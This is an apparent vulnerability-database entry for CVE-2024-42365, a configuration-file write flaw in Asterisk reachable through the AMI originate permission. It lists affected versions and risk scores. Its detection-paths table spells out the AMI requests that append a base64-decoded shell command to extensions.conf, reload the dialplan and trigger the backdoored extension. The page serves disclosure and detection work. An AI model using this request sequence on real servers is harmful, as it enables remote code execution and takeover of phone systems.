Lucene search
+L

CVE-2024-42365

🗓️ 08 Aug 2024 16:29:07Reported by GitHub_MType 
cve
 cve
🔗 web.nvd.nist.gov👁 354 Views🌐 WEB

Prior to asterisk versions 18.24.2, 20.9.2, and 21.4.2, an AMI user with 'write=originate' may change all configuration files in the /etc/asterisk/ directory, leading to potential privilege escalation, remote code execution, and blind server-side request forgery with arbitrary protocol

Related
Detection
Affected
Refs
Paths
NVD
Vulners
Vulnrichment
Node
OR
asteriskasteriskRange<18.24.2
asteriskasteriskRange19.0.0–20.9.1
asteriskasteriskMatch21.4.0
Node
OR
asteriskcertified_asteriskMatch13.13.0cert1-rc1
asteriskcertified_asteriskMatch13.13.0cert1-rc2
asteriskcertified_asteriskMatch13.13.0cert1-rc3
asteriskcertified_asteriskMatch13.13.0cert1-rc4
asteriskcertified_asteriskMatch16.8cert1-rc1
asteriskcertified_asteriskMatch16.8cert1-rc2
asteriskcertified_asteriskMatch16.8cert1-rc3
asteriskcertified_asteriskMatch16.8cert1-rc4
asteriskcertified_asteriskMatch16.8cert1-rc5
asteriskcertified_asteriskMatch16.8cert4-rc1
asteriskcertified_asteriskMatch16.8cert4-rc2
asteriskcertified_asteriskMatch16.8cert4-rc3
asteriskcertified_asteriskMatch16.8cert4-rc4
asteriskcertified_asteriskMatch18.9cert1-rc1
asteriskcertified_asteriskMatch18.9cert8-rc1
asteriskcertified_asteriskMatch18.9cert8-rc2
asteriskcertified_asteriskMatch20.7cert1-rc1
asteriskcertified_asteriskMatch20.7cert1-rc2
[
  {
    "vendor": "asterisk",
    "product": "asterisk",
    "versions": [
      {
        "version": "< 18.24.2",
        "status": "affected"
      },
      {
        "version": ">= 19.0.0, < 20.9.2",
        "status": "affected"
      },
      {
        "version": ">= 21.0.0, < 21.4.2",
        "status": "affected"
      },
      {
        "version": "< 18.9-cert11",
        "status": "affected"
      },
      {
        "version": ">= 19.0, < 20.7-cert2",
        "status": "affected"
      }
    ]
  }
]
ParameterPositionPathDescriptionCWE
Datarequest bodyAction: Originate Channel: Local/70@parkedcalls Application: SET Data: FILE(/etc/asterisk/extensions.conf,,,al)=[<new_context>] Asterisk AMI user with write=originate permissions can use the SET application with the FILE function to write to configuration files, leading to RCE.CWE-1220, CWE-267
Datarequest bodyAction: Originate Channel: Local/70@parkedcalls Application: SET Data: FILE(/etc/asterisk/extensions.conf,,,al)=exten => <extension>,1,System(echo "<base64_payload>" | base64 -d | sh) Asterisk AMI user with write=originate permissions can use the SET application with the FILE function to write a system command to configuration files, leading to RCE.CWE-1220, CWE-267
Datarequest bodyAction: Originate Channel: Local/70@parkedcalls Application: Reload Data: pbx_config Asterisk AMI user with write=originate permissions can trigger a configuration reload via the SET application.CWE-1220, CWE-267
Datarequest bodyAction: Originate Channel: Local/<extension>@<new_context> application: Verbose Data: <random_numeric> Asterisk AMI user with write=originate permissions can trigger the execution of the injected shellcode by originating a call to the backdoored extension.CWE-1220, CWE-267

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Jun 2026 07:49Current
8High risk
Vulners AI Score8
CVSS 3.17.4 - 8.8
EPSS0.04703
SSVC
354